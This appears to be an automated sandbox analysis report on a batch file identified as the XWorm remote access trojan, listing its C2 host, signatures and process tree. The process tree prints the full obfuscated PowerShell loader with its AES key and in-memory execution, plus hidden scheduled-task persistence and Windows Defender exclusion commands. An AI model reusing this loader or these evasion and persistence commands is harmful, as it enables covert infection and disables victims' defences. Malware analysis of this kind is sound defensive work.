Analysis

  • max time kernel
    280s
  • max time network
    283s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    01/06/2024, 08:07

General

  • Target
    fixer.bat
  • Size 88KB
  • Sample240601-jzytlsff95
  • SHA256 2b7272581314f0f4b3cd41c32cc9ebd5950eb1acf67601bd6bdf1365aacc8eab
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • movie-buddy.gl.at.ply.gg:40572

Attributes
  • Install_directory

    %Public%

  • install_file

    Runtime Broker.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fixer.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1408
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4512
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:816
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xFbfyI3XjQWVUv7xboImcLs4365/h1J6HXpT+B8FVLY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UhZC0JRVJsnQjOGyRNg5Zg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mTcjO=New-Object System.IO.MemoryStream(,$param_var); $KQKvZ=New-Object System.IO.MemoryStream; $cfjXo=New-Object System.IO.Compression.GZipStream($mTcjO, [IO.Compression.CompressionMode]::Decompress); $cfjXo.CopyTo($KQKvZ); $cfjXo.Dispose(); $mTcjO.Dispose(); $KQKvZ.Dispose(); $KQKvZ.ToArray();}function execute_function($param_var,$param2_var){ $qAquB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WtyUv=$qAquB.EntryPoint; $WtyUv.Invoke($null, $param2_var);}$rJKpb = 'C:\Users\Admin\AppData\Local\Temp\fixer.bat';$host.UI.RawUI.WindowTitle = $rJKpb;$UjBCO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($rJKpb).Split([Environment]::NewLine);foreach ($NfqQG in $UjBCO) { if ($NfqQG.StartsWith('CEoZgkKPGlnZzsVdPujr')) { $gPHGC=$NfqQG.Substring(20); break; }}$payloads_var=[string[]]$gPHGC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        2⤵
          PID:4352
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3644
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_446_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_446.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3120
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_446.vbs"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1412
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_446.bat" "
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4188
              • C:\Windows\system32\net.exe
                net file
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4216
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 file
                  6⤵
                    PID:5008
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xFbfyI3XjQWVUv7xboImcLs4365/h1J6HXpT+B8FVLY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UhZC0JRVJsnQjOGyRNg5Zg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mTcjO=New-Object System.IO.MemoryStream(,$param_var); $KQKvZ=New-Object System.IO.MemoryStream; $cfjXo=New-Object System.IO.Compression.GZipStream($mTcjO, [IO.Compression.CompressionMode]::Decompress); $cfjXo.CopyTo($KQKvZ); $cfjXo.Dispose(); $mTcjO.Dispose(); $KQKvZ.Dispose(); $KQKvZ.ToArray();}function execute_function($param_var,$param2_var){ $qAquB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WtyUv=$qAquB.EntryPoint; $WtyUv.Invoke($null, $param2_var);}$rJKpb = 'C:\Users\Admin\AppData\Roaming\Windows_Log_446.bat';$host.UI.RawUI.WindowTitle = $rJKpb;$UjBCO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($rJKpb).Split([Environment]::NewLine);foreach ($NfqQG in $UjBCO) { if ($NfqQG.StartsWith('CEoZgkKPGlnZzsVdPujr')) { $gPHGC=$NfqQG.Substring(20); break; }}$payloads_var=[string[]]$gPHGC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                  5⤵
                    PID:1288
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                    5⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • Drops startup file
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of SetWindowsHookEx
                    • Suspicious use of WriteProcessMemory
                    PID:1956
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:5016
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4484
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2496
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker.exe'
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4652
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB10D.tmp.bat""
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2460
                      • C:\Windows\system32\timeout.exe
                        timeout 3
                        7⤵
                        • Delays execution with timeout.exe
                        PID:2380

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
                • MD5 SHA1 SHA512

                StartupProfileData-Interactive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                • Size 1KB
                • SHA256 214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 0a2b951533b29655270b941077bbf34ba21a5a59aebaf9948130ff31c7adf808
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 a1b5b7ada8ebc910f20f91ada3991d3321104e9da598c958b1edac9f9aca0e90
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 7e510fc9344ef239ab1ab650dc95bb25fd44e2efba8b8246a3ac17880ee8b69e
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_ixb342mi.dah.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ixb342mi.dah.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                tmpB10D.tmp.bat

                • Path C:\Users\Admin\AppData\Local\Temp\tmpB10D.tmp.bat
                • Size 171B
                • SHA256 4614ec05e77fda5b5c2521cf1782d4952b061f5e6183aa9f601aea7a7a6cc541
                • MD5 SHA1 SHA512

                Windows_Log_446.bat

                • Path C:\Users\Admin\AppData\Roaming\Windows_Log_446.bat
                • Size 88KB
                • SHA256 2b7272581314f0f4b3cd41c32cc9ebd5950eb1acf67601bd6bdf1365aacc8eab
                • MD5 SHA1 SHA512 SSDEEP

                Windows_Log_446.vbs

                • Path C:\Users\Admin\AppData\Roaming\Windows_Log_446.vbs
                • Size 115B
                • SHA256 c2d80c5301739f899742758c62816f8e1015ce96bad9a22b7ff39f2ca3593948
                • MD5 SHA1 SHA512

                memory/1956-92-0x000001E26EF80000-0x000001E26EF8C000-memory.dmp

                memory/1956-44-0x000001E26EF90000-0x000001E26EFA6000-memory.dmp

                memory/3644-11-0x000002279EAB0000-0x000002279EAF6000-memory.dmp

                memory/3644-15-0x000002279E880000-0x000002279E892000-memory.dmp

                memory/3644-45-0x00007FFF96E00000-0x00007FFF978C2000-memory.dmp

                memory/3644-14-0x000002279E870000-0x000002279E878000-memory.dmp

                memory/3644-13-0x00007FFF96E00000-0x00007FFF978C2000-memory.dmp

                memory/3644-0-0x00007FFF96E03000-0x00007FFF96E05000-memory.dmp

                memory/3644-12-0x00007FFF96E00000-0x00007FFF978C2000-memory.dmp

                memory/3644-10-0x00007FFF96E00000-0x00007FFF978C2000-memory.dmp

                memory/3644-9-0x000002279E690000-0x000002279E6B2000-memory.dmp